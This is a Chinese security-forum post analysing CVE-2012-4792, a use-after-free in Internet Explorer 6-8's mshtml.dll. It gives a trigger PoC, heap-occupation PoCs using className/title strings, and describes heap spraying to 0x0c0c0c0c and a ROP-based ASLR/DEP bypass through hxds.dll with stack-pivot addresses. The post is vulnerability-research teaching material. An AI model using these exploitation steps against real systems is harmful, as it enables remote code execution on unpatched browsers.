首页
社区
课程
招聘
[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792
发表于: 2021-4-19 08:07 9545

[原创]Internet Explorer漏洞分析(四)——CVE-2012-4792

erfze 活跃值
12
2021-4-19 08:07
9545

mshtml.dll在释放CButton对象后没有更新CDoc中Default Element对此地址引用,以致后续CElement::FindDefaultElem会重新获取此地址,传递给CMarkup::OnLoadStatusDone函数,使用已释放内存。

Microsoft Internet Explorer 6 through 8

MS13-008

分析用POC:

借助Math.tanMath.sinMath.cos(分别对应jscript!Tanjscript!sinjscript!cos)及mshtml!CreateElement可观察各对象的创建。document.createElement("div")

document.createElement("q")

document.createElement('button')

下面来看如何创建DOM流,跟进CElement::applyElement函数分析,其创建位于CElement::EnsureInMarkup中:

CElement::EnsureInMarkup—>CDoc::CreateMarkupWithElement—>CTreeNode::CTreeNode

其执行情况如下:

调用CTreeNode::CTreeNode完成:

可以看出div元素(即e1)的CTreeNode—>parent初始指向CRootElement,CTreeNode类结构如下所示:

CTreeNode对象地址写入Element对象偏移0x14位置处:

CMarkup::ReparentDirectChildrenq元素(即e2)的CTreeNode地址写至div元素CTreeNode—>parent中:

CElement类部分结构含义如下:

对POC执行完e1.applyElement(e0);语句后所创建对象作一总结:

对象布局如下:

下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));对应函数为CElement::appendChild,对于button元素,其会执行CElement::SetDefaultElem函数,将该元素设为Default Element:

具体执行如下:

e2.innerHTML = "";会将Phrase内元素清空:

e2.appendChild(document.createElement('body'));

CollectGarbage();对应函数为jscript!JsCollectGarbage,它会调用mshtml!PlainTrackerReleasebutton元素进行释放:

但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8),以致后续mshtml!CElement::FindDefaultElem函数使用已释放内存,触发漏洞:

首先是对已释放CButton对象内存进行占位,可通过两种方式——classNametitleclassName

title

(注:上述两处代码均来自用ClassName占位和title占位的分析)

两种方式执行流对比:

其最终都会调用_HeapAllocString,其会调用ULongAdd函数将substring传递第二个参数加1,之后乘2传递给HeapAlloc分配该数值大小堆块:

创建CButton对象时申请堆块大小为0x58,如此一来,需要修改junk.substring(0,(0x58-6)/2)junk.substring(0,(0x58-2)/2)

完成占位:

之后进行Heap Spray:

var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c位置,堆块上数据从0x0024开始,0x0c0c-0x0024=0xbe8,该值除以2即为0x5f4:

最后是Bypass ASLR&DEP。加入如下语句:

会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll文件,该文件并未开启ASLR,故可利用其构造ROP链(注:该文件随Office版本不同而不同,笔者采用Office 2010进行构造)。stackpivot有两处可供使用——0x51be4a410x51bd29c7,最终构造Exploit如下:

成功弹出计算器:

来自Happy New Year Analysis of CVE-2012-4792

<!doctype html>
<html>
<head>
<script>
function exploit()
{
     var e0 = null;
     var e1 = null;
     var e2 = null;
     try {
          e0 = document.getElementById("a");
          //Math.tan(2,1);                   
          e1 = document.createElement("div")
          //Math.sin(2,1);                   
          e2 = document.createElement("q");
          //Math.cos(2,1);                   
          e1.applyElement(e2);                                       
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);             
          e2.innerHTML = "";               
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage();                     
}
</script>
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>
<!doctype html>
<html>
<head>
<script>
function exploit()
{
     var e0 = null;
     var e1 = null;
     var e2 = null;
     try {
          e0 = document.getElementById("a");
          //Math.tan(2,1);                   
          e1 = document.createElement("div")
          //Math.sin(2,1);                   
          e2 = document.createElement("q");
          //Math.cos(2,1);                   
          e1.applyElement(e2);                                       
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);             
          e2.innerHTML = "";               
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage();                     
}
</script>
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
class CTreeNode
{
public:
    CElement * element;
    CTreeNode * parent;
    BYTE        _etag;                              // 0-7:     element tag
    BYTE        _fFirstCommonAncestorNode : 1;    // 8:       for finding common ancestor
    BYTE        _fInMarkup : 1;    // 9:       this node is in a markup and shouldn't die
    BYTE        _fInMarkupDestruction : 1;    // 10:      Used by CMarkup::DestroySplayTree
    BYTE        _fHasLookasidePtr : 2;    // 11-12    Lookaside flags
    BYTE        _fBlockNess : 1;    // 13:      Cached from format -- valid if _iFF != -1
    BYTE        _fHasLayout : 1;    // 14:      Cached from format -- valid if _iFF != -1
    BYTE        _fUnused : 1;    // 15:      Unused
    SHORT       _iPF;                               // 16-31:   Paragraph Format
                                                // DWORD 2
    SHORT       _iCF;                               // 0-15:    Char Format
    SHORT       _iFF;
 
    CTreePos    _tpBegin;
    CTreePos    _tpEnd;
    DWORD      unknow1;
    DWORD      unknow2;
    DWORD      unknow3;
};
class CTreeNode
{
public:
    CElement * element;
    CTreeNode * parent;
    BYTE        _etag;                              // 0-7:     element tag
    BYTE        _fFirstCommonAncestorNode : 1;    // 8:       for finding common ancestor
    BYTE        _fInMarkup : 1;    // 9:       this node is in a markup and shouldn't die
    BYTE        _fInMarkupDestruction : 1;    // 10:      Used by CMarkup::DestroySplayTree
    BYTE        _fHasLookasidePtr : 2;    // 11-12    Lookaside flags
    BYTE        _fBlockNess : 1;    // 13:      Cached from format -- valid if _iFF != -1
    BYTE        _fHasLayout : 1;    // 14:      Cached from format -- valid if _iFF != -1
    BYTE        _fUnused : 1;    // 15:      Unused
    SHORT       _iPF;                               // 16-31:   Paragraph Format
                                                // DWORD 2
    SHORT       _iCF;                               // 0-15:    Char Format
    SHORT       _iFF;
 
    CTreePos    _tpBegin;
    CTreePos    _tpEnd;
    DWORD      unknow1;
    DWORD      unknow2;
    DWORD      unknow3;
};
 
 
 
 
+0x10        CAttributeCollection
            +0x00    The total size of the Attribute Array<<2
            +0x04    Number of Attributes
            +0x08     CAttrArray
            +0x0c
+0x14        CTreeNode
+0x10        CAttributeCollection
            +0x00    The total size of the Attribute Array<<2
            +0x04    Number of Attributes
            +0x08     CAttrArray
            +0x0c
+0x14        CTreeNode
e0 Address:0x0026e4c8(Form Element)
    CTreeNode Address:0x00307cb0
e1 Address:0x002db1e8(Div Element)
    CTreeNode Address:0x00307af8
e2 Address:0x002dad38(Phrase Element)
    CTreeNode Address:0x00307b50
button Address:0x00311b48
    CTreeNode Address:0x00307ba8
e0 Address:0x0026e4c8(Form Element)
    CTreeNode Address:0x00307cb0
e1 Address:0x002db1e8(Div Element)
    CTreeNode Address:0x00307af8
e2 Address:0x002dad38(Phrase Element)
    CTreeNode Address:0x00307b50
button Address:0x00311b48
    CTreeNode Address:0x00307ba8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
<!doctype html>
<html>
<head>
     <script>
     var arr_button = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
     function helloWorld() {
          var e=document.createElement('div');
          var e0 = null;
          var e1 = null;
          var e2 = null;
for(i =0; i < 20; i++)
{
                document.createElement('button');
}
          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
          for(var i = 0; i<0x50; i++)
          {
               arr_button[i]= document.createElement("button");
               arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }
 
     }
 
     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>
<!doctype html>
<html>
<head>
     <script>
     var arr_button = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
     function helloWorld() {
          var e=document.createElement('div');
          var e0 = null;
          var e1 = null;
          var e2 = null;
for(i =0; i < 20; i++)
{
                document.createElement('button');
}
          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
          for(var i = 0; i<0x50; i++)
          {
               arr_button[i]= document.createElement("button");
               arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }
 
     }
 
     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>
<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
 
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}
 
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
 
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 6
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//